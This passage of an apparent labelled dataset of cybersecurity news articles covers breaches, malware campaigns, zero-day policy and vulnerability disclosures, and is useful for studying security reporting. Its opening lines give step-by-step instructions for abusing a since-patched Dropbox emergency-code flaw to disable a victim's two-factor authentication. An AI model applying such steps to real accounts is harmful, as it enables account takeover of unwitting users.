Because 2-Factor authentication was enabled for victim's account, so website will ask to enter the OTP code. Leave it, just choose ""I Lost My Phone"" from the same screen. You will be prompted to use the ""Emergency Code"", that can disable the 2-Factor authentication.
That's it ! Use the emergency code generated from the fake account to disable 2-Factor authentication for the victim's account and enjoy full access.

Q-CERT worked with DrobBox security team to patch the issue.

",Vulnerability
Obama Lets NSA Use Zero-Day Exploits by labeling it as 'National Security Need',https://thehackernews.com/2014/04/Obama-NSA-Review-policy-Zero-day-Exploit.html,"On Saturday, the Senior Administration Officials cast light on the subject of Internet Security and said President Obama has clearly decided that whenever the U.S. Intelligence agency like NSA discovers major vulnerabilities, in most of the situations the agency should reveal them rather than exploiting for national purpose, according to The New York Times.

OBAMA's POLICY WITH LOOPHOLE FOR NSA
Yet, there is an exception to the above statement, as Mr. President carved a detailed exception to the policy ""Unless there is a clear national security or law enforcement need,"" which means that the policy creates a loophole for the spying agencies like NSA to sustain their surveillance programs by exploiting security vulnerabilities to create Cyber Weapons.

After three-month review of recommendations [PDF-file], the Final Report of the Review Group on Intelligence and Communications Technologies was submitted to Mr. Obama on last December, out of which one of the recommendation on page no. 37 states that, ""In rare instances, US policy may briefly authorize using a Zero Day for high priority intelligence collection, following senior, interagency review involving all appropriate departments.""

Obama took this new decision in January this year, but the elements of decision disclosed just one day after the story of HeartBleed OpenSSL Security Bug broke last week and Bloomberg reported that the NSA may have known about the flaw for last two years and using it continuously to gain information instead of disclosing it.

The Office of the Director of National Intelligence (ODNI) released a statement on Friday in response to the Bloomberg report saying NSA was not aware of Heartbleed until it was made public.

The ODNI report concludes, ""In response to the recommendations of the President's Review Group on Intelligence and Communications Technologies, the White House has reviewed its policies in this area and reinvigorated an interagency process for deciding when to share vulnerabilities. This process is called the Vulnerabilities Equities Process. Unless there is a clear national security or law enforcement need, this process is biased toward responsibly disclosing such vulnerabilities,"" that coincides with above stated recommendation.

PURCHASED ZERO DAYS, AGAINST ANYONE-ANYTIME
As we already know, U.S. government is the biggest buyer of cyber weapons and Zero-Day exploits, those NSA and FBI are using from last many years to compromise the Internet for spying on the whole world.

In NSA's exploit archive there could be more than 50 percent of purchased exploits, and without any doubt we can label it as 'National Security or Law Enforcement Needs'. Thanks for above exceptional recommendation, the use of Zero-day exploits are now enough legal against anyone-anytime.

Review Group report also mentions, ""US policy should generally move to ensure that Zero Days are quickly blocked, so that the underlying vulnerabilities are patched on US Government and other networks.""

In March, Edward Snowden files revealed that the National Security Agency conducted a major offensive cyber operation called ""Operation Shotgiant"" against the Chinese government and networking company Huawei, in early 2009 and also accused for stealing the source codes for certain products.

Will U.S also responsibly disclose zero-day flaws to foreign vendors (like Huawei and ZTE) as well, rather than exploiting their products for Cyber espionage on other Countries?

",Vulnerability
Taringa: Over 28 Million Users' Data Exposed in Massive Data Breach,https://thehackernews.com/2017/09/taringa-data-breach-hacking.html,"Exclusive — If you have an account on Taringa, also known as ""The Latin American Reddit,"" your account details may have compromised in a massive data breach that leaked login details of almost all of its over 28 million users.

Taringa is a popluar social network geared toward Latin American users, who create and share thousands of posts every day on general interest topics like life hacks, tutorials, recipes, reviews, and art.

The Hacker News has been informed by LeakBase, a breach notification service, who has obtained a copy of the hacked database containing details on 28,722,877 accounts, which includes usernames, email addresses and hashed passwords for Taringa users.

The hashed passwords use an ageing algorithm called MD5 – which has been considered outdated even before 2012 – that can easily be cracked, making Taringa users open to hackers.

Wanna know how weak is MD5?, LeakBase team has already cracked 93.79 percent (nearly 27 Million) of hashed passwords successfully within just a few days.

LeakBase has shared a dump of 4.5 million Taringa users with The Hacker News to help us verify the authenticity of the leaked database.

Using email addresses in the dump, we contacted a few random Taringa users with their plain text passwords, who acknowledged the authenticity of their credentials.

The data breach reportedly occurred last month, and the company then alerted its users via a blog post, sharing more information about the incident.
""It is likely that the attackers have made the database containing nicks, email addresses and encrypted passwords. No phone numbers and access credentials from other social networks have been compromised as well as addresses of bitcoin wallets from the Taringa program! Creators."" the post (translated) says.
""At the moment there is no concrete evidence that the attackers continue to have access to the Taringa code! and our team continues to monitor unusual movements in our infrastructure.""
To protect its users, Taringa is currently sending a password reset link via an email to its users as soon as they access their account with an old password.
One of the contacted users has also shared a screenshot of the notice with The Hacker News, as shown above.
""We've made a massive password reset strategy and also increased the encryption of the passwords from MD5 to SHA256. We've also been in contact with our community via our customer support team,"" a Taringa spokesperson told The Hacker News.

Leaked Database Analysis

Here below we have a brief analysis of the leaked database, which suggests that even after countless warnings, most people are continuously using deadly-simple passwords to safeguard their most sensitive data.

As you can see in the image given below, LeakBase team managed to crack 26,939,351 out of 28,722,877 passwords hashed using the MD5 algorithm, out of which over 15 Million were unique passwords.

The vast majority of the cracked passwords were alpha and lower case alpha and did not contain any special characters or symbols.


Here below we have the list of most popular/common passwords chosen by Taringa users that also includes top worst passwords such as 123456789, 123456, 1234567890, 000000, 12345, and 12345678.

The most popular length of the password was six characters long, followed closely by eight characters, nine and ten characters. Expectedly, the percentages drop drastically as you go higher in length.


Besides the cracked passwords, LeakBase also take a look at the email addresses contained in the leaked data dump, and the most common email domains are as follows:

But, are Taringa users entirely responsible for choosing weak passwords?

Not completely. It's also the fault of the company, who failed to enforce a strong password policy on their users, eventually allowing them to sign up with weak passwords.

After data breaches, the organisations tend to blame the end users for poor password security, but they forget to provide them one.

So far, it has not been clear who is behind the attack on Taringa, neither how the attackers managed to breach into its servers.

Meanwhile, in a separate news,we reported about an unknown hacker selling personal details on more than 6 million high-profile Instagram accounts on an online website, Doxagram, after the hacker breached the Facebook-owned photo sharing service using a flaw in its API.

How to Help Protect Yourself from Data Breaches

Of course, if you are one of those potentially affected users, you are strongly recommended to change your passwords immediately.

Also, change passwords for other online accounts for which you are using the same password as for Taringa account.

Even if any website allows you to create an account with a weak password, you should always choose a complex password. Use a good password manager, if you find following best practices difficult.

Moreover, avoid clicking on any suspicious link or attachment you received via an email and providing your personal or financial information without verifying the source correctly.

",Cyber_Attack
TDSS rootkit infects 1.5 million US computers,https://thehackernews.com/2011/06/tdss-rootkit-infects-15-million-us.html,"TDSS rootkit infects 1.5 million US computers

Millions of PCs around the world infected by the dangerous TDSS 'super-malware' rootkit as part of a campaign to build a giant new botnet. The report is presented by researchers from security firm Kaspersky Lab.

TDSS also known as 'TDL' and sometimes by its infamous rootkit component, Alureon. It has grown into a multi-faceted malware nexus spinning out ever more complex and dangerous elements as it evolves.

Kaspersky Lab researchers were able to penetrate three SQL-based command and control (C&C) servers used to control the activities of the malware's latest version, TDL-4, where they discovered the IP addresses of 4.5 million IP PCs infected by the malware in 2011 alone. Almost 1.5 million of these were in the US.If active, this number of compromised computers could make it one of the largest botnets in the world, with the US portion alone worth an estimated $250,000 (£155,000) to the underground economy.

The researchers noticed a kad.dll component of the infection which appears to allow TDSS/TDL-4 an elaborate C&C channel to control bots using the Kad P2P file exchange network even if the primary encrypted channel has been shut down by rival botnetters or security companies.

""We don't doubt that the development of TDSS will continue,"" said Kaspersky researcher, Sergey Golovanov, who performed the latest analysis of TDSS. ""Active reworkings of TDL-4 code, rootkits for 64-bit systems, the use of P2P technologies, proprietary anti-virus and much more make the TDSS malicious program one of the most technologically developed and most difficult to analyse.""

",Malware
Ashley Madison Hackers Finally Released All the Stolen Data Online,https://thehackernews.com/2015/08/ashley-madison-accounts-leaked-online.html,"Well, Cheaters are about to have a very Bad Night Today!

Hackers who claimed to have stolen customers' data from Ashley Madison, the popular online casual sex and cheating website with a tagline ""Life is short. Have an affair,"" recently leaked nearly 10GB of its users' personal data online.

The group of hackers, which called itself The Impact Team, has reportedly leaked personal data of Ashley Madison customers on the so-called dark web, meaning the data is accessible anyone on encrypted browsers.

The leaked data includes personal details of nearly 36 Million Ashley Madison customers' accounts, which includes:
Username
First and Last Names
Email addresses
Hashed passwords
Partial Credit Card data
Street Names
Phone Numbers
Records documenting 9.6 Million Credit Card Transactions


No Mercy for You Cheaters!

The Impact Team stole the data from the popular cheating website last month and threatened the company to reveal all associated data of its 37 Million cheating customers unless the site for the marital affair was taken down.

The hackers leaked the data because Ashley Madison's parent company, Avid Life Media, refused their demand to take down the site.
""Avid Life Media has failed to take down Ashley Madison and Established Men,"" the hackers released a statement with the leaked data. ""We have explained the fraud, deceit, and stupidity of ALM and their members. Now everyone gets to see their data.""
The Hacker News did not download the data, so wasn't able to confirm its authenticity. However, those who have already accessed the data from the dark web say they're finding all kinds of hot and juicy chats.

US Government and Military Officials Won't be Able to Sleep Tonight

Yes, the leaked data also include more than 15,000 e-mail addresses that are hosted on US government and military servers that uses the .gov and .mil top-level domains.

One online user also found a whole host of email addresses that appear to belong to members of the British government and posted on his Twitter account.

The Federal Bureau of Investigation (FBI) is investigating this massive theft alongside the Royal Canadian Mounted Police and local police, Avid Life Media said.

",Data_Breaches
These Top 7 Brutal Cyber Attacks Prove 'No One is Immune to Hacking' — Part II,https://thehackernews.com/2015/09/top-cyber-attacks-2.html,"In Part I of this two-part series from The Hacker News, the First Four list of Top Brutal Cyber Attacks shows that whoever you are, Security can never be perfect.

As attackers employ innovative hacking techniques and zero-day exploits, the demand for increased threat protection grows.

In this article, I have listed another three cyber attacks, as following:

#5 Car Hacking

Driving a car is a network's game now!

'Everything is hackable,' but is your car also vulnerable to Hackers?

General Motors' OnStar application and cars like Jeep Cherokee, Cadillac Escalade, Toyota Prius, Dodge Viper, Audi A8 and many more come equipped with more advanced technology features.

These cars are now part of the technology very well known as the ""Internet of Things"".

Recently two Security researchers, Chris Valasek and Charlie Miller demonstrated that Jeep Cherokee could be hacked wirelessly over the internet to hijack its steering, brakes, and transmission.

The OnStar application is an inbuilt unit attached to the interior, rearview mirror of the car with features such as remotely unlocking cars and starting the engines.

Similarly, Jeep manufactured Jeep Cherokee's latest model is the fourth generation car fully equipped with the latest technology advancements.

In the recent incidents, Jeep Cherokee, as well as OnStar's application, were hacked leaving the cars as the slaves of the hackers and prone to accidents.

A security flaw in the car's entertainment system was compromised by two white hat hackers: Charlie Miller and Chris Valasek. The flaw allowed the hackers to inject malware into the system for remote control from miles away.

The hackers were able to turn up the music volume to the maximum and start the windshield wipers remotely while they were '10 miles away'.

An outrageous act they did was cutting off the transmission and disconnected the brakes that led the car crash into a ditch.

Reports say that both Jeep Cherokee and Escalade have an inherent security flaw. This is such:

The cars' apps, Bluetooth and telematics connecting the car to a cellular network like OnStar are on the same network as the engine controls, brakes, steerings and tire pressure monitor system.

Miller and Valasek said a car's networked system could be an easy gateway for the hackers to come in with just the use of their mobile phones and a laptop.

What they need to do is just know the car's IP address, and they can break into its system through a wireless internet connection.

#6 Data Breach at US Government Office of Personnel Management

United States Office of Personnel Management (US OPM) is an independent agency of the United States that works to recruit, retain and honor a world-class workforce for the American people.

The US OPM became a victim of a cyber attack twice that led to a data breach, compromising personal information of some 21.5 million related to current and former federal workers.

Hackers accessed sensitive data of US government officials that could be used for identity theft and cyber-espionage.

The stolen data included Social Security Numbers, employment history, residency and educational history, criminal and financial history, fingerprints, information about health, personal and business acquaintances.

Some stolen records also include findings from interviews conducted by background investigators that discussed sexual assaults and drug, mental health treatments and alcohol addictions.

Investigations reveal that China-based hackers were behind the data breaches at the Office of Personnel Management (OPM).

#7 Anthem Data Breach

Anthem Insurance Inc., previously known as WellPoint Inc, was a victim of a massive cyber attack in February.

Back in February, Cyber attackers executed a very sophisticated attack to gain unauthorized access to the company's IT systems that had database of some 80 million people and obtained personal identifiable information (PII) relating to its consumers and employees.

The information accessed included:
Names,
Birthdays,
Social security numbers,
Email addresses
Employment information, including income data
The hackers gained access to Anthem's data by stealing the network credentials of at least five of its employees with high-level IT access.

The path may have been ""Phishing"", in which a fraudulent e-mail could have been used to trick employees into revealing their network ID and password, or into unknowingly downloading software code that gives the hackers long-term access to Anthem's IT environment.

The company informed millions of its affected customers of the massive data breach that potentially exposed the personal information of its former as well as current customers.

Anthem appointed Mandiant, world's leading cyber security organization, to evaluate the scenario and provide necessary solutions.

This is just the beginning...

These are just seven; there are many more! And it could reach you too.

The power of the cyberspace and the criminals hovering over it should not be underrated.

Chucking such happenings where your personal data is at risk and being irrational is not the solution rather it is the beginning of activities that will bother you big time in the future.

The cyberspace is like a dope that is capable of psychoactive effects. A proactive thinking and approach will take you ahead of the people on the other end.

Take the time to ponder over the incidents and respond wisely is all we have to say!

",Data_Breaches
Internet Explorer 8 zero-day attack spreads on 9 other sites,https://thehackernews.com/2013/05/internet-explorer-8-zero-day-attack.html,"Watering hole Internet Explorer 8 zero-day attack on the US Department of Labor website last week has spread to 9 more global websites over the weekend, including those run by a big European company operating in the aerospace, defense, and security industries as well as non-profit groups and institutes

Attacks exploiting a previously unknown and currently unpatched vulnerability in Microsoft's Internet Explorer browser have spread to at least. Researchers analyzing the attacks say that the attack tie it to a China-based hacking group known as ""DeepPanda"".

Security firm CrowdStrike said its researchers unearthed evidence suggesting that the campaign began in mid-March. Their analysis of logs from the malicious infrastructure used in the attacks revealed the IP addresses of visitors to the compromised sites.
The logs showed addresses from 37 different countries, with 71 percent of them in the US, 11 percent in South/Southeast Asia, and 10 percent in Europe.

Microsoft confirmed the remote code-execution vulnerability on Friday night. Versions 6, 7, 9, and 10 of the browser are immune to these attacks. Microsoft has simply suggested IE8 users upgrade to a newer version for now.

This is just the latest in a series of so-called ""watering hole"" attacks targeting government workers and political figures within the U.S. government. In January, a compromise at the website of The Council on Foreign Relations was widely seen as an effort to gain access to influential D.C. policymakers and officials. A similar incident affecting the website of The National Journal was reported in March.

In watering hole attacks, victims are not attacked directly. Rather, attackers compromise a trusted, third-party website that the intended targets are likely to visit, then launch a silent attack when they visit the site.

",Cyber_Attack
Over A Billion Malicious Ad Impressions Exploit WebKit Flaw to Target Apple Users,https://thehackernews.com/2019/10/malvertising-webkit-hacking.html,"The infamous eGobbler hacking group that surfaced online earlier this year with massive malvertising campaigns has now been caught running a new campaign exploiting two browser vulnerabilities to show intrusive pop-up ads and forcefully redirect users to malicious websites.

To be noted, hackers haven't found any way to run ads for free; instead, the modus operandi of eGobbler attackers involves high budgets to display billions of ad impressions on high profile websites through legit ad networks.

But rather than relying on visitors' willful interaction with advertisements online, eGobbler uses browser (Chrome and Safari) exploits to achieve maximum click rate and successfully hijack as many users' sessions as possible.

In its previous malvertising campaign, eGobbler group was exploiting a then-zero-day vulnerability (CVE-2019-5840) in Chrome for iOS back in April, which allowed them to successfully bypass browser's built-in pop-up blocker on iOS devices and hijack 500 million mobile user sessions in just a week to show pop-up ads.

Malicious sample pop-up ad showing how attackers social engineer victims
Though Google already patched the vulnerability with the release of Chrome 75 in June, eGobbler is still using the flaw to target those who haven't yet updated their Chrome browser.

eGobbler Exploits WebKit Flaw to Redirect Users to Malicious Sites

However, according to the latest report published by security firm Confiant, the eGobbler threat actors recently discovered and started exploiting a new vulnerability in WebKit, the browser engine used by Apple Safari browser for both iOS and macOS, Chrome for iOS and also by earlier versions of Chrome for desktop.

The new WebKit exploit is more interesting because it doesn't require users to click anywhere on legit news, blog or informative websites they visit, neither it spawns any pop-up ad.

Instead, the display ads sponsored by eGobbler leverage the WebKit exploit to forcefully redirect visitors to websites hosting fraudulent schemes or malware as soon as they press the ""key down"" or ""page down"" button on their keyboards while reading the content on the website.

This is because the Webkit vulnerability actually resides in a JavaScript function, called the onkeydown event that occurs each time a user presses a key on the keyboard, that allows ads displayed within iframes to break out of security sandbox protections.

""This time around, however, the iOS Chrome pop-up was not spawning as before, but we were, in fact, experiencing redirections on WebKit browsers upon the 'onkeydown' event,"" the researchers said in their latest report.

""The nature of the bug is that a cross-origin nested iframe is able to 'autofocus' which bypasses the 'allow-top-navigation-by-user-activation' sandbox directive on the parent frame.""

""With the inner frame automatically focused, the keydown event becomes a user-activated navigation event, which renders the ad sandboxing entirely useless as a measure for forced redirect mitigation.""

Though Apple's app store guidelines restrict all iOS apps with web browsing ability to use its WebKit framework, including for Google Chrome for iOS, mobile users are still less likely to be impacted by the redirection flaw as the 'onkeydown' event doesn't work on the mobile OS.


However, the eGobbler payload, often delivered through popular CDN services, also includes code to trigger redirections when visitors of a targeted web application try to input something in a text area or search forms, likely ""to maximize the chances of hijacking these keypresses.""

As researchers believe, ""this exploit was key in magnifying the impact of this attack.""

Between August 1 and September 23, the threat actors have been seen serving their malicious code to a staggering volume of ads, which the researchers estimate to be up to 1.16 billion impressions.

While the previous eGobbler malvertising campaign primarily targeted iOS users in the United States, the latest attack targeted users in Europe countries, with a majority being from Italy.

Confiant privately reported the WebKit vulnerability to both the Google and Apple security teams. Apple fixed the flaw in WebKit with the release of iOS 13 on September 19 and in Safari browser 13.0.1 on September 24, while Google has yet to address it in Chrome.

",Malware
Snowden Confirms Stuxnet Malware developed by NSA and Israel Together,https://thehackernews.com/2013/07/Edward-Snowden-Stuxnet-NSA-Israel.html,"In an interview with Germany's Der Spiegel Magazine, American whistleblower Edward Snowden has Confirmed that Stuxnet Malware was developed by NSA and Israel Together.
Stuxnet made international headlines in 2010 for specifically target a uranium enrichment facility in Natanz, Iran. Stuxnet was designed to make the centrifuges spin out of control and cause physical damage to the plant in Natanz. Stuxnet temporarily disabled 1,000 centrifuges that the Iranians were using to enrich uranium.

Asked whether the NSA collaborates with Israel, Snowden said: ""Yes, all the time. The NSA has a large section for that, called the FAD - Foreign Affairs Directorate.""

""The NSA and Israel wrote Stuxnet together,"" Snowden said when asked if the NSA had any involvement in the Stuxnet program.

Last year an even more complex computer virus called Flame was discovered and while initially it was not linked to Stuxnet, further investigation by Kaspersky Labs identified a module within both which indicated that the writers of Flame were the same as those behind Stuxnet.

Snowden also confirmed in the interview in Der Spiegel that the NSA was ""in bed with the Germans, just like with most other Western states.""

",Malware
300% Increase in malnets Attack in the past six months,https://thehackernews.com/2012/10/300-increase-in-malnets-attack-in-past.html,"Blue Coat systems has undertaken detailed research into the use of 'malnets' by criminals to help support their various attacks in order to uncover the best ways to take down these systems. Botnet infections are commonly spread though compromised websites seeded with malicious scripts and promoted via black hat SEO tactics such as link farms. These malware networks, or malnets, pose a growing threat,

The company said the number of malnets now stands at more than 1,500, an increase of 300% in the past six months, and it expects they will be, ""responsible for two-thirds of all malicious cyberattacks in 2012.""

According to Blue Coat, the largest known malnet is Shnakule, which has used up to 5,005 malicious hosts or servers at any given time, depending on the capabilities needed at any given moment by its operators. Blue Coat believes that Shnakule is controlled by a single gang, and it's been used to serve up just about every type of known attack, including ""fake AV attack, fake code, fake Firefox updates, C&C servers, gambling, work at home stuff, porn,"" said Van Der Horst. ""They've got their fingers in every evil pie out there.""

""Then the user's computer is infected with a Trojan,"" the report said. ""Once the computer is compromised it can be used by the botnet to lure new users into the malnet by using the infected machine to send spam to email contact lists, for example.""

""A compromised system can also be used to steal the victim's personal information or money, and, in some cases, can also function as a jumping-off point for attacks on neighboring machines,"" the report said.

""When security companies aggressively pursued the Zeus botnet, malnet operators simply shifted their resources to the Aleuron botnet, developing and using it in attacks,"" said Blue Coat's researchers.

Interestingly, the rise of malnets has also had some unexpected effects, the company claims. In August, Blue Coat reported that simple 'long tail' web searches were still far more important for serving malware than special events such as the London Olympics or breaking news.


",Malware
U.S. Takes Down Kelihos Botnet After Its Russian Operator Arrested in Spain,https://thehackernews.com/2017/04/kelihos-botnet-russian-hacker.html,"A Russian computer hacker arrested over the weekend in Barcelona was apparently detained for his role in a massive computer botnet, and not for last year's US presidential election hack as reported by the Russian media.

Peter Yuryevich Levashov, 32-years-old Russian computer programmer, suspected of operating the Kelihos botnet — a global network of over 100,000 infected computers that was used to deliver spam, steal login passwords, and infect computers with ransomware and other types of malware since approximately 2010, the U.S. Justice Department announced Monday.

As suspected earlier, Levashov, also known as Peter Severa, is the same man who has also been listed in the World's Top 10 Worst Spammers maintained by anti-spam group Spamhaus, which has given him the 7th position in the list.

The arrest was made possible after the FBI learned just last month that Levashov was traveling with his family to Spain from his home in Russia, a country without any extradition treaty to the United States.

Initially, it was believed that Levashov was detained on suspicion of 2016 US election hack, after his wife told Russian publication RT that authorities said her husband's apprehension was in part due to his involvement in the U.S. election hacking, including the notorious breach of the Democratic National Committee (DNC).

However, the DoJ press release indicates no link between Levashov and US election hack at all.

Instead, Levashov was linked to the Kelihos botnet by the FBI because he used the same IP address to operate the botnet that he used to access his email and other online accounts in his name, including Apple iCloud and Google Gmail accounts.

According to the indictment unsealed Monday, Levashov operated the botnet since 2010, targeting Microsoft Windows machines for infection. He allegedly used Kelihos to distribute hundreds of millions of spam emails per year, and pump-and-dump stock scams.

Besides conducting spamming operations, prosecutors also alleged Levashov also used the Kelihos botnet to infect end-user computers with malware and harvest passwords to online and bank accounts belonging to thousands of Americans.
""The ability of botnets like Kelihos to be weaponized quickly for vast and varied types of harms is a dangerous and deep threat to all Americans, driving at the core of how we communicate, network, earn a living, and live our everyday lives,"" said Acting Assistant Attorney General Blanco.

""Our success in disrupting the Kelihos botnet was the result of strong cooperation between private industry experts and law enforcement, and the use of innovative legal and technical tactics.""
The FBI officials obtained court orders (Rule 41 of the Federal Rules of Criminal Procedure) to redirect Kelihos-infected PCs to servers operated by authorities — a process known as ""Sinkhole attack"" — and to block any attempts by the botnet to regain control of those sinkholed computers.

The FBI said it worked with security firm CrowdStrike and Shadowserver Foundation, a volunteer group of information security experts, to deploy the sinkhole attack to disconnect communications between criminals and infected computers.

Levashov has been charged with wire fraud and unauthorized interception of electronic communications. The government is now seeking his extradition to the United States.

",Malware
Apple iOS 9.0.2 Update Patches Lock Screen Bypass Exploit,https://thehackernews.com/2015/10/iphone-lockscreen-hack.html,"Apple has rolled out the second minor iteration of its newest mobile operating system iOS 9, which fixes the iOS lockscreen vulnerability.

The widely publicized LockScreen bug allowed anyone with physical access to your iOS device running iOS 9.0 or iOS 9.0.1 to access all the contacts and photos without unlocking the device.

Just one week after the last update iOS 9.0.1, Apple rolled out iOS 9.0.2 update that fixes:
iMessage activation problems
An issue with mobile data settings
An issue with iCloud Backup
An issue where the screen incorrectly rotates when receiving notifications
Improves the stability of Podcasts
According to an update on Apple's support website, the iOS lockscreen issue was the only security bug fixed in the latest iOS 9.0.2 release.

Last week, iPhone user Jose Rodriguez published a ""dead simple"" method to bypass lock screen of the devices running iOS 9 and iOS 9.0.1.

Using the benevolent nature of Apple's personal assistant Siri, anyone with physical access to the device could gain access through the lock screen. However, Rodriguez confirmed the flaw was fixed in iOS 9.0.2.

If you haven't updated your iPhone, iPad or iPod touch devices to iOS 9.0.2 yet, you can download the update right by going to Settings –> General –> Software Update on your iOS device and tapping on the 'Download and Install' button.

",Vulnerability
Ukraine Police Arrest Cyber Criminals Behind Clop Ransomware Attacks,https://thehackernews.com/2021/06/ukraine-police-arrest-cyber-criminals.html,"Ukrainian law enforcement officials on Wednesday announced the arrest of the Clop ransomware gang, adding it disrupted the infrastructure employed in attacks targeting victims worldwide since at least 2019.
As part of an international operation between the National Police of Ukraine and authorities from Interpol, Korea, and the U.S., six defendants have been accused of running a double extortion scheme wherein victims refusing to pay a ransom were threatened with the leak of sensitive financial, customer, or personal data stolen from them prior to encrypting the files.
The ransomware attacks amount to $500 million in monetary damages, the National Police said, noting that ""law enforcement has managed to shut down the infrastructure from which the virus spreads and block channels for legalizing criminally acquired cryptocurrencies.""
Police officials are said to have conducted 21 searches in the Ukrainian capital of Kyiv, including the homes of the defendants, resulting in the seizure of computer equipment, luxury cars, and 5 million hryvnias ($184,679) in cash.
The alleged perpetrators face up to eight years in prison on charges of unauthorized interference in the work of computers, automated systems, computer networks or telecommunications networks. It's, however, not clear if the arrested individuals are affiliates or core developers of the ransomware operation.
As of writing, the dark web portal that Clop uses to share stolen data — dubbed CL0P^-LEAKS — is still up and running, implying the complete infrastructure may not have been taken down.
Since emerging on the scene in 2019, the Clop threat actor has been linked to a number of high-profile attacks as that of E-Land, Accellion, Qualys, Software AG IT, ExecuPharm, Indiabulls, as well as a number of universities like Maastricht University, Stanford University Medical School, University of Maryland, and University of California.
The development comes as another ransomware group by the name of Avaddon shuttered operations and handed over the decryption keys associated with 2,934 victims to Bleeping Computer last week, likely in response to heightened scrutiny by law enforcement and governments worldwide after a spate of attacks against critical infrastructure.
The Clop arrests add to a string of operations undertaken by government agencies in recent months to take down criminal activities in the cyberspace, including that of TrickBot, Emotet, ANoM, and Slilpp. Earlier this February, a joint probe involving French and Ukrainian authorities dismantled the cartel associated with Egregor ransomware.

",Malware
N. Korean Hackers Targeting Security Experts to Steal Undisclosed Researches,https://thehackernews.com/2021/01/n-korean-hackers-targeting-security.html,"Google on Monday disclosed details about an ongoing campaign carried out by a government-backed threat actor from North Korea that has targeted security researchers working on vulnerability research and development.
The internet giant's Threat Analysis Group (TAG) said the adversary created a research blog and multiple profiles on various social media platforms such as Twitter, LinkedIn, Telegram, Discord, and Keybase in a bid to communicate with the researchers and build trust.
The goal, it appears, is to steal exploits developed by the researchers for possibly undisclosed vulnerabilities, thereby allowing them to stage further attacks on vulnerable targets of their choice.
""Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including 'guest' posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers,"" said TAG researcher Adam Weidemann.
The attackers created as many as 10 fake Twitter personas and five LinkedIn profiles, which they used to engage with the researchers, share videos of exploits, retweet other attacker-controlled accounts, and share links to their purported research blog.
In one instance, the actor used Twitter to share a YouTube video of what it claimed to be an exploit for a recently patched Windows Defender flaw (CVE-2021-1647), when in reality, the exploit turned out to be fake.
The North Korean hackers are also said to have used a ""novel social engineering method"" to hit security researchers by asking them if they would like to collaborate on vulnerability research together and then provide the targeted individual with a Visual Studio Project.
This Visual Studio Project, besides containing the source code for exploiting the vulnerability, included a custom malware that establishes communication with a remote command-and-control (C2) server to execute arbitrary commands on the compromised system.
Kaspersky researcher Costin Raiu, in a tweet, noted the malware delivered via the project shared code-level similarities with Manuscrypt (aka FAILCHILL or Volgmer), a previously known Windows backdoor deployed by the Lazarus Group.
What's more, TAG said it observed several cases where researchers were infected after visiting the research blog, following which a malicious service was installed on the machine, and an in-memory backdoor would begin beaconing to a C2 server.
With the victim systems running fully patched and up-to-date versions of Windows 10 and Chrome web browser, the exact mechanism of compromise remains unknown. But it's suspected that the threat actor likely leveraged zero-day vulnerabilities in Windows 10 and Chrome to deploy the malware.
""If you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research,"" Weidemann said.
UPDATE (28 Jan, 2021): Microsoft releases more information on this campaign
In a separate analysis, Microsoft corroborated the findings, attributing the attacks to a threat actor it calls ZINC, also known as Lazarus Group or Hidden Cobra.
The Windows maker said the campaign took roots in mid-2020 when the adversary ""started building a reputation in the security research community on Twitter by retweeting high quality security content and posting about exploit research from an actor-controlled blog.""
Microsoft's analysis of the malicious DLL (dubbed ""Comebacker"") has also revealed the group's attempts to evade detection via static indicators of compromise (IoCs) by frequently changing file names, file paths, and exported functions. ""We were first alerted to the attack when Microsoft Defender for Endpoint detected the Comebacker DLL attempting to perform process privilege escalation,"" the company said.
That's not all. With some researchers infected simply by visiting the website on fully patched systems running Windows 10 and Chrome browser, the company suspects a Chrome exploit chain leveraging zero-day or patch gap exploits was hosted on the blog, leading to the compromise.
""A blog post titled DOS2RCE: A New Technique To Exploit V8 NULL Pointer Dereference Bug, was shared by the actor on October 14, 2020 from Twitter,"" the researchers said. ""From October 19-21, 2020, some researchers, who hadn't been contacted or sent any files by ZINC profiles, clicked the links while using the Chrome browser, resulting in known ZINC malware on their machines soon after.""

",Cyber_Attack
Remote Root access vulnerability in Routers with Broadcom chipsets,https://thehackernews.com/2013/02/remote-root-access-vulnerability-in.html,"DefenseCode researchers have discovered a critical security vulnerability that allows remote unauthenticated attacker to remotely execute arbitrary code under root privileges in the UPnP (Universal Plug and Play) implementation developed by Broadcom and used by many routers with Broadcom chipsets.

Routers with vulnerable Broadcom UPnP stack are mostly based on Broadcom chipset. ""We have found that, in fact, same vulnerable firmware component is also used in at least two other Cisco Linksys models - WRT54G3G and probably WRT310N. Could be others."" researchers said.

The vulnerability is located within the wanipc and wanppp modules of the Broadcom UPnP stack, which is used by manufacturers that deliver routers based on the Broadcom chipset. The UPnP service is intended to be used on local networks, but Rapid7 found that there are over 80 million devices on the Internet that respond to UPnP discovery requests, making them vulnerable to remote attacks.

The vulnerability can be exploited to read the memory of a device that uses the vulnerable Broadcom UPnP stack or to write arbitrary values at arbitrary addresses in its memory.

Full exploit was previously demonstrated in a video on Cisco Linksys WRT54GL, that is also based on Broadcom UPnP stack. DefenseCode hasn't compiled a complete list with affected router models, but believes that some devices from Broadcom, Asus, Cisco, TP-Link, Zyxel, D-Link, Netgear, USRobotics and other vendors probably use the vulnerable Broadcom UPnP stack.

",Vulnerability
Researchers uncover a new Iranian malware used in recent cyberattacks,https://thehackernews.com/2021/04/researchers-uncover-new-iranian-malware.html,"An Iranian threat actor has unleashed a new cyberespionage campaign against a possible Lebanese target with a backdoor capable of exfiltrating sensitive information from compromised systems.
Cybersecurity firm Check Point attributed the operation to APT34, citing similarities with previous techniques used by the threat actor as well as based on its pattern of victimology.
APT34 (aka OilRig) is known for its reconnaissance campaigns aligned with the strategic interests of Iran, primarily hitting financial, government, energy, chemical, and telecommunications industries in the Middle East.
The group typically resorts to targeting individuals through the use of booby-trapped job offer documents, delivered directly to the victims via LinkedIn messages. Although the latest campaign bears some of the same hallmarks, the exact mode of delivery remains unclear as yet.
The Word document analyzed by Check Point — which was uploaded to VirusTotal from Lebanon on January 10 — claims to offer information about different positions at a U.S.-based consulting firm named Ntiva IT, only to trigger the infection chain upon activating the embedded malicious macros, ultimately resulting in the deployment of a backdoor called ""SideTwist.""
Aside from gathering basic information about the victim's machine, the backdoor establishes connections with a remote server to await additional commands that allow it to download files from the server, upload arbitrary files, and execute shell commands, the results of which are posted back to the server.
